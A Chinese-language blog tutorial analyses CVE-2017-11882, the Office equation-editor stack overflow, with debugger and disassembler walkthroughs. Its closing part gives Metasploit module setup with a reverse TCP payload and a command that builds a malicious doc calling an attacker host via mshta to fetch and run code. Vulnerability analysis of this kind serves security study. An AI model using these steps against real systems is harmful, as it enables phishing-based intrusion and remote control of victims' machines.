您好,登錄后才能下訂單哦!
怎么進行CVE-2017-11882分析,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
其實說到office釣魚,那就肯定少不了CVE-2017-11882,這個漏洞是我去年分析APT組織蔓靈花的樣本的時候遇到的,自己也一直沒有深入學習和研究這個漏洞,現在有點時間了來分析學習一下,因為此漏洞是很多知名APT組織像蔓靈花、白象、摩訶草、響尾蛇等發起攻擊時的開山利器,并且研究此漏洞也不需要by pass DEP和ASLR等保護機制,漏洞利用起來也不算復雜.
CVE-2017-11882是微軟公布的一個遠程代碼執行漏洞,漏洞是由模塊EQNEDT32.EXE公式編輯器引起,該模塊在Office的安裝過程中被默認安裝,該模塊以OLE技術(Object Linking and Embedding,對象鏈接與嵌入)將公式嵌入在Office文檔內。漏洞產生原因是公式編輯器EQNEDT32.EXE(路徑C:\Program Files\Common Files\microsoft shared\EQUATION)讀入包含MathType的OLE數據,在拷貝公式字體名稱時沒有對名稱長度進行校驗,使得攻擊者可以通過刻意構造的數據內容覆蓋棧上的函數返回地址,造成棧緩沖區溢出,劫持程序執行流程,執行自己的惡意代碼,又因為插入和編輯數學公式時,EQNEDT32.EXE并不會被作為Office進程的子進程創建,而是以單獨的進程形式存在。所以Office進程的保護機制也無法保護EQNEDT32.EXE這個進程被利用。從漏洞利用效果來看,它可以通殺Office 2003到2016的所有版本。
Win7 x64
Office 2003
IDA
OllyDbg
MSF
我使用的是 Office 2003(需要完全安裝),我們完全安裝后,可以通過下圖查看是否都完全安裝,菜單-》插入-》對象-》看是否有Microsoft 公式 3.0,如果沒有說明安裝的不是完整版。
office 2003完整版鏈接:https://pan.baidu.com/s/1O7BsRE4YQQLvWOWYikGz6Q 提取碼:g0dh
我們可以按照以下路徑找到產生漏洞的程序,exeinfo信息顯示該程序使用VC++編寫。
環境搭建好了,我們就可以使用POC來簡單驗證一下漏洞,打開exploit.rtf可發現沒有任何提示直接彈出了計算器,說明驗證成功存在漏洞。
彈計算器漏洞POC:https://github.com/Ridter/CVE-2017-11882
因為我們打開POC時彈出了計算器,就表明創建了新的進程,創建新進程的API我們可以猜測是WinExec或者CreateProcess。這樣我們就可以使用OD附加EQNEDT32.EXE,然后下API斷點來進行動態調試。
我們先打開EQNEDT32.EXE然后使用OD附加上此進程。
然后我們下API斷點,命令:BP WinExec,然后打開POC文件,程序成功斷下,堆棧中顯示的內容說明我們斷的位置是正確的。
在上圖中的堆棧中我們可以看出,WinExec的返回地址是00430C18,參數是0018F354,參數的內容是通過cmd命令來開啟計算器。
此時的00430C12是用戶態地址,按道理來說,ebp應該存放當前函數的返回地址,但是卻顯示的是41414141,很明顯ebp已經被破壞了,由于此時的堆棧已經被構造的惡意shellcode破壞,所以我們往堆棧上面看看ebp是在哪里被破壞的。
找到了一個最近的返回地址00411837,我們回車進入往上翻,在函數的開頭部分設置一個斷點,重新運行,讓程序斷在這個函數內。
程序斷下
我們F8單步運行,在00411658的地方發現這樣一條指令:rep movsd dword ptr es:[edi], dword ptr [esi]該指令執行完之后,ebp就被41414141覆蓋而該指令的功能是將esi的值傳送到edi所指的位置。
我們分別查看一下在執行上一條命令之前esi和edi的內容:
ESI:
EDI:
rep movsd dword ptr es:[edi], dword ptr [esi]執行完之后,EDI被成功賦值,可以看到,此時ebp所在的值已經從0018F214變成了41414141,ebp后面的返回地址已經從004115d8更改為了00430c12
00430C12的地址
過來執行WinExec函數之后,在WinExec函數內部又調用了CreateProcess函數。打斷點可看到函數的參數,也就是參數為調用cmd彈出計算器
我們通過動態調試已經知道了漏洞產生的位置是在00411658處,我們接下來使用靜態分析。我們使用IDA打開EQNEDT32.EXE,然后跳轉到00411658地址
為了方便分析我們F5查看以下偽代碼,哦~,學過C語言的同學應該一看就明白了,就是我們使用了不安全版的strcpy函數,沒有對參數的長度進行判斷和限制,從而導致了棧溢出。
POC內容詳情
至此,漏洞的大致分析已經完成。
python腳本下載鏈接:https://github.com/Ridter/CVE-2017-11882
msf組件下載:https://github.com/0x09AL/CVE-2017-11882-metasploit
把上面下載的cve_2017_11882.rb文件復制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目錄下
把下載的cve_2017_11882.rtf放到/usr/share/metasploit-framework/data/exploits/
重新加載模塊。
使用命令search cve_2017_11882 查找對應的模塊,然后use exploit/windows/smb/cve_2017_11882設置payload為反彈tcp,設置各項參數,lhost為kali的IP,使用命令set URIPATH test設置URI的路徑(注意這里設置的路徑test,下面使用python腳本生成doc的時候也要加上這個路徑)
運行,exploit -j
另外打開一個終端,把Command109b_CVE-2017-11882.py復制到kai liunx桌面,cd到桌面,運行命令python Command109b_CVE-2017-11882.py -c "mshta http://192.168.62.129:8080/test" -o test2.doc 生成惡意doc文件
復制文件到目標機打開
返回攻擊機kai liunx,看到被攻擊機器已經上線
然后就可以進行我們的傳統手藝了~~~
看完上述內容,你們掌握怎么進行CVE-2017-11882分析的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。